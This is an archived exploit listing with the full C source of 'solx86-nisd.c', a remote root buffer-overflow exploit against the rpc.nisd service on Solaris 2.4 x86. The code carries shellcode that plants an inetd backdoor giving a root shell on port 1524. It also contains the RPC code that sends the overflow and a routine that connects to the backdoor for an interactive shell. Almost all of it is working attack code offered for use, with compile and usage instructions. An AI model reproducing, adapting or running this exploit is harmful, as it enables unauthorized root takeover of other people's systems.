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solx86-nisd.c

solx86-nisd.c
Posted Apr 25, 2000
Authored by Anathema | Site hack.co.za

rpc.nisd remote root overflow, solaris 2.4 x86. Solaris 2.5.0 and 2.5.1 work with different offset.

tags | exploit, remote, overflow, x86, root
systems | solaris
SHA-256 | e7bdfe8a6620ff1c89a033090f13a3a320060779e65b74fd857bbb8857d3f829

solx86-nisd.c

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/* PRIVATE. DO NOT DISTRIBUTE. */
/*
rpc.nisd remote root overflow, solaris 2.4 x86 (not SPARC yet)
by anathema <anathema@hack.co.za>
*/
/*
compilation (solaris):
$ gcc -o nisd nisd.c -lsocket -lnsl -lrpcsvc
usage example:
$ ./nisd host.to.own.com [offset]

Default addr (0x80476c0) tested against rpc.nisd distributed with
Solaris 2.4 (SunOS 5.4). This exploit will probably work against
Solaris 2.5.0 and 2.5.1 with a different offset, experiment.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/nis.h>
/* #include <rpcsvc/nis_object.h> */

#define RET 348
#define ADDR 0x80476c0 /* sol 2.4 */

#define PROG 100300
#define VERS 3
#define PROC 22

char c0de[] =
"\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
"\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
"\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x04\x04\x04\x04"
"\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/bleh;"
"/usr/sbin/inetd -s /tmp/bleh;/bin/rm -f /tmp/bleh";

u_long
resolve_host(u_char *host)
{
struct in_addr addr;
struct hostent *host_ent;

addr.s_addr = inet_addr(host);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}

return(addr.s_addr);
}

bool_t
xdr_nis_name(register XDR *xdrs, nis_name *objp)
{
register long *buf;

if (!xdr_string(xdrs, objp, ~0)) return (FALSE);
else return(TRUE);
}

bool_t
xdr_nis_error(register XDR *xdrs, nis_error *objp)
{
register long *buf;

if (!xdr_enum(xdrs, (enum_t *)objp)) return(FALSE);
else return(TRUE);
}

void
shellz(u_long dst_ip)
{
struct sockaddr_in sin;
u_char sock_buf[4096];
fd_set fds;
int sock;

sleep(2);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(1524);
sin.sin_addr.s_addr = dst_ip;

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("connecting to backdoor");
exit(-1);
}

fprintf(stderr, "owned\n");
write(sock, "id; uname -a; cd /;\n", 20);
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds); /* STDIN_FILENO */
FD_SET(sock, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(-1);
}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(sock, &fds))
{
if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
{
fprintf(stderr, "Connection closed by foreign host.\n");
exit(0);
}
fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
read(0, sock_buf, sizeof(sock_buf) - 1);
write(sock, sock_buf, strlen(sock_buf));
}
}

/* NOTREACHED */
}

void
exploit(u_long dst_ip, u_char *buf)
{
struct sockaddr_in sin;
struct timeval time_val;
int sock = RPC_ANYSOCK;
nis_error nis_err;
CLIENT *clnt;

time_val.tv_usec = 0;
time_val.tv_sec = 10;

sin.sin_family = AF_INET;
sin.sin_port = 0;
sin.sin_addr.s_addr = dst_ip;

clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
if (!clnt)
{
fprintf(stderr, "err: clntudp_create(): is host running rpc.nisd?\n");
exit(-1);
}
/*
* Standard AUTH_UNIX authentication.
*/
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

if (clnt_call(clnt, PROC, (xdrproc_t)xdr_nis_name, (caddr_t)&buf,
(xdrproc_t)xdr_nis_error, (caddr_t)&nis_err, time_val)
!= RPC_SUCCESS)
{
clnt_destroy(clnt);
shellz(dst_ip);
}

fprintf(stderr, "clnt_call() succeeded: patched nisd?.\n");
clnt_destroy(clnt);
exit(0);
}

void
usage(u_char *argv0)
{
fprintf(stderr, "usage: %s dst_host|ip [offset]\n", argv0);
exit(-1);
}

int
main(int argc, char **argv)
{
u_long dst_ip = 0;
u_char buf[4096] = {0};
u_long addr = ADDR;
int ret = RET, i = 0, j = 0;

if (argc != 2 && argc != 3)
{
usage(argv[0]);
/* NOTREACHED */
}

dst_ip = resolve_host(argv[1]);
if (!dst_ip)
{
fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
exit(-1);
}

if (argc > 2) addr += atoi(argv[2]);
fprintf(stderr, "addr 0x%lx\n", addr);

memset(buf, 0x90, ret);
for (i=(ret-strlen(c0de)); i < ret; j++, i++) buf[i] = c0de[j];
for (; i < (ret + 1024); i += 4)
{
buf[i+0] = (addr & 0x000000ff);
buf[i+1] = (addr & 0x0000ff00) >> 8;
buf[i+2] = (addr & 0x00ff0000) >> 16;
buf[i+3] = (addr & 0xff000000) >> 24;
}

exploit(dst_ip, buf);
/* NOTREACHED */
}

/* EOF */
/* www.hack.co.za */
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